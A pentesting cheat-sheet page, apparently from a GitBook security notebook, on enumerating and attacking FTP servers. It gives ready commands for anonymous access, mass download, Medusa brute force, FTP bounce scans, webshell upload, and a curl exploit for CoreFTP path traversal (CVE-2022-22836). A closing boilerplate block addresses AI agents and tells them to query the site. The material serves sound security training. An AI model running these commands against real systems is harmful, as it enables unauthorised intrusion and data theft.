> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/recon-enumeration/ftp-pentesting.md).

# Pentesting FTP

* FTP runs on TCP port 21 (control) and TCP port 20 (data)
* Clear-text protocol — can be sniffed on the wire
* Active vs Passive: active has the server connect back to the client; passive has the client initiate data connections (firewall-friendly)
* Many FTP server flavors: vsFTPd, ProFTPD, Microsoft ftpd, Pure-FTPd, etc.
* Nmap fingerprints the version

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
```

***

## Important FTP Notes

```
# Always use ls -la on FTP (may only have hidden files)
ftp> ls -la

# Fix Extended Passive Mode issues
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
```

***

## Anonymous Login

```
ftp <ip>
username: anonymous
password: <enter>
```

* If successful you'll see `230 User logged in` and often the OS type
* Always try downloading AND uploading files
* Start with a simple text file upload to test write access
* Escape spaces in filenames

```
230 User logged in.
Remote system type is Windows_NT.
```

```
ftp> cd Nadine
ftp> get Confidential.txt
ftp> cd Nathan
ftp> get Notes\ to\ do.txt
```

***

## FTP Interaction Commands

* `status` — shows connection mode, transfer type, verbose state
* `debug` — toggles debug output (shows raw protocol commands)
* `trace` — toggles packet tracing
* Use these to understand exactly what the server is doing

```
ftp> status

Connected to 10.129.14.136.
No proxy connection.
Mode: stream; Type: binary; Form: non-print; Structure: file
Verbose: on; Bell: off; Prompting: on; Globbing: on
Store unique: off; Receive unique: off
```

```
ftp> debug
Debugging on (debug=1).

ftp> trace
Packet tracing on.

ftp> ls
---> PORT 10,10,14,4,188,195
200 PORT command successful. Consider using PASV.
---> LIST
150 Here comes the directory listing.
-rw-rw-r--    1 1002     1002      8138592 Sep 14 16:54 Calender.pptx
drwxrwxr-x    2 1002     1002         4096 Sep 14 17:03 Clients
drwxrwxr-x    2 1002     1002         4096 Sep 14 16:50 Documents
drwxrwxr-x    2 1002     1002         4096 Sep 14 16:50 Employees
-rw-rw-r--    1 1002     1002           41 Sep 14 16:45 Important Notes.txt
226 Directory send OK.
```

***

## Passive FTP

* If you can connect but `ls` / other commands hang, the server can't connect back through your firewall
* Switch to passive mode immediately after connecting:

```
ftp> passive
```

***

## Downloading Files

Single file:

```
ftp> get filename.txt
```

All files in current directory:

```
ftp> mget *
```

Cat a file without downloading (prints to stdout):

```
ftp> get <FILENAME> -
```

Recursive listing (requires `ls_recurse_enable=YES` on server):

```
ftp> ls -R
```

### Download everything with wget

```
wget -m --no-passive ftp://anonymous:anonymous@<ip>
wget -m --no-passive ftp://user:pass@<ip>:2121
```

After download, `wget` creates a directory named after the target IP:

```
$ tree .
.
└── 10.129.14.136
    ├── Calendar.pptx
    ├── Clients
    │   └── Inlanefreight
    │       ├── appointments.xlsx
    │       ├── contract.docx
    │       ├── meetings.txt
    │       └── proposal.pptx
    ├── Documents
    │   ├── appointments-template.xlsx
    │   ├── contract-template.docx
    │   └── contract-template.pdf
    ├── Employees
    └── Important Notes.txt

5 directories, 9 files
```

***

## Uploading Files

```
ftp> put filename.txt
ftp> mput *.txt
```

* If FTP root overlaps with a web server directory, upload a web shell and execute it via HTTP
* Always test write access — misconfigurations are common on internal servers

***

## Brute Force

Good wordlist: [ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)

***

## Nmap FTP Enumeration

Anon login and bounce checks run by default with `-sC`:

```bash
nmap --script ftp-* -p 21 <ip>
```

Standard scan with version detection:

```bash
sudo nmap -sV -p21 -sC -A <ip>
```

With `--script-trace` to see raw NSE traffic (useful for understanding what nmap sends):

```bash
sudo nmap -sV -p21 -sC -A <ip> --script-trace
```

### Update nmap script database and find FTP scripts

```bash
sudo nmap --script-updatedb
find / -type f -name ftp* 2>/dev/null | grep scripts
```

### Available FTP NSE scripts

| Script                      | Purpose                     |
| --------------------------- | --------------------------- |
| `ftp-anon.nse`              | Check anonymous login       |
| `ftp-bounce.nse`            | Check FTP bounce attack     |
| `ftp-brute.nse`             | Brute force credentials     |
| `ftp-libopie.nse`           | Check libopie vulnerability |
| `ftp-proftpd-backdoor.nse`  | ProFTPD 1.3.3c backdoor     |
| `ftp-syst.nse`              | STAT command info           |
| `ftp-vsftpd-backdoor.nse`   | vsFTPd 2.3.4 backdoor       |
| `ftp-vuln-cve2010-4221.nse` | ProFTPD buffer overflow     |

***

## Service Interaction Alternatives

Useful when the `ftp` client isn't available or you need raw access:

```bash
nc -nv <ip> 21
telnet <ip> 21
```

For FTP over TLS/SSL — also reveals the SSL certificate (hostname, email, org info):

```bash
openssl s_client -connect <ip>:21 -starttls ftp
```

Some Microsoft FTP configurations may require SSL for login but fail explicit TLS negotiation:

```
534 Policy requires SSL.
Login failed
```

```bash
lftp -u anonymous,'' -e "set ftp:ssl-force true; set ftp:ssl-protect-data true; set ssl:verify-certificate no;" <ip>
```

If `lftp` returns `ftp:ssl-force is set and server does not support or allow SSL`, note it as a service misconfiguration and move on unless credentials or another FTP path appear.

Example certificate output:

```
depth=0 C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Dev,
        CN = master.inlanefreight.htb, emailAddress = admin@inlanefreight.htb
```

***

## TFTP

* Uses **UDP** (not TCP) — completely different from FTP
* **No authentication** — access controlled only by filesystem permissions
* **No directory listing** — you must already know the filename
* Commonly found on internal/protected networks for PXE boot, firmware updates, etc.

| Command   | Description                                    |
| --------- | ---------------------------------------------- |
| `connect` | Set remote host and optionally port            |
| `get`     | Download file(s) from remote to local          |
| `put`     | Upload file(s) from local to remote            |
| `quit`    | Exit tftp                                      |
| `status`  | Show transfer mode, connection status, timeout |
| `verbose` | Toggle additional transfer info                |

***

## vsFTPd Configuration

* Most common FTP server on Linux
* Config: `/etc/vsftpd.conf`
* Deny list: `/etc/ftpusers`

### Install

```bash
sudo apt install vsftpd
```

### View config (strip comments)

```bash
cat /etc/vsftpd.conf | grep -v "#"
```

### View deny list

```bash
cat /etc/ftpusers
```

Users listed in `/etc/ftpusers` are **blocked** from FTP even if they exist on the system.

### Default Settings

| Setting                                                       | Description                             |
| ------------------------------------------------------------- | --------------------------------------- |
| `listen=NO`                                                   | Run from inetd or as standalone daemon? |
| `listen_ipv6=YES`                                             | Listen on IPv6?                         |
| `anonymous_enable=NO`                                         | Enable anonymous access?                |
| `local_enable=YES`                                            | Allow local users to login?             |
| `dirmessage_enable=YES`                                       | Display directory messages?             |
| `use_localtime=YES`                                           | Use local time?                         |
| `xferlog_enable=YES`                                          | Log uploads/downloads?                  |
| `connect_from_port_20=YES`                                    | Connect from port 20?                   |
| `secure_chroot_dir=/var/run/vsftpd/empty`                     | Empty directory for chroot              |
| `pam_service_name=vsftpd`                                     | PAM service name                        |
| `rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem`          | RSA cert for SSL                        |
| `rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key` | RSA private key for SSL                 |
| `ssl_enable=NO`                                               | Enable SSL?                             |

### Dangerous Settings

Settings that expand the attack surface — look for these during enumeration:

| Setting                        | Description                                         |
| ------------------------------ | --------------------------------------------------- |
| `anonymous_enable=YES`         | Allow anonymous login                               |
| `anon_upload_enable=YES`       | Anonymous can upload files                          |
| `anon_mkdir_write_enable=YES`  | Anonymous can create directories                    |
| `no_anon_password=YES`         | No password required for anonymous                  |
| `anon_root=/home/username/ftp` | Anonymous root directory                            |
| `write_enable=YES`             | Allow STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, SITE  |
| `hide_ids=YES`                 | All UIDs/GUIDs display as "ftp" — hides real owners |
| `ls_recurse_enable=YES`        | Allow recursive directory listing                   |

When `hide_ids=YES` is set, all file ownership shows as `ftp`:

```
-rw-rw-r--    1 ftp     ftp      8138592 Sep 14 16:54 Calender.pptx
drwxrwxr-x    2 ftp     ftp         4096 Sep 14 17:03 Clients
```

### Additional FTP Settings

| Setting                   | Description                            |
| ------------------------- | -------------------------------------- |
| `dirmessage_enable=YES`   | Show message on entering new directory |
| `chown_uploads=YES`       | Change ownership of anonymous uploads  |
| `chown_username=username` | User who owns anonymous uploads        |
| `local_enable=YES`        | Enable local user login                |
| `chroot_local_user=YES`   | Jail local users to home directory     |
| `chroot_list_enable=YES`  | Use list for chroot enforcement        |

***

## Other Considerations

* If there's also a web server, check if FTP directories are served over HTTP (e.g., `/scripts` on FTP → `http://target/scripts/`)
* Upload a web shell via FTP, execute it through the web server
* FTP logs can sometimes be leveraged for RCE via log poisoning (LFI → FTP log → code execution)
* Before connecting, ensure your local working directory is writable or downloads will fail

***

## Medusa FTP Brute Force

```bash
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
```

| Flag | Description           |
| ---- | --------------------- |
| `-u` | Single username       |
| `-U` | Username file         |
| `-P` | Password file         |
| `-M` | Protocol module (ftp) |
| `-h` | Target host           |

***

## FTP Bounce Attack

Use an FTP server as a proxy to scan internal hosts:

```bash
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
```

The `-b` flag tells Nmap to perform an FTP bounce scan through the specified FTP server to reach otherwise inaccessible internal hosts.

***

## CoreFTP Path Traversal (CVE-2022-22836)

Arbitrary file write via HTTP PUT with directory traversal:

```bash
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
```

Verify on target:

```
C:\> type C:\whoops
```

### CoreFTP HTTPS PUT Upload (Webshell)

```bash
curl -k -X PUT -H "Host: <target>" --basic -u <user>:<pass> --data-binary @shell.php --path-as-is https://<target>/shell.php
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/recon-enumeration/ftp-pentesting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
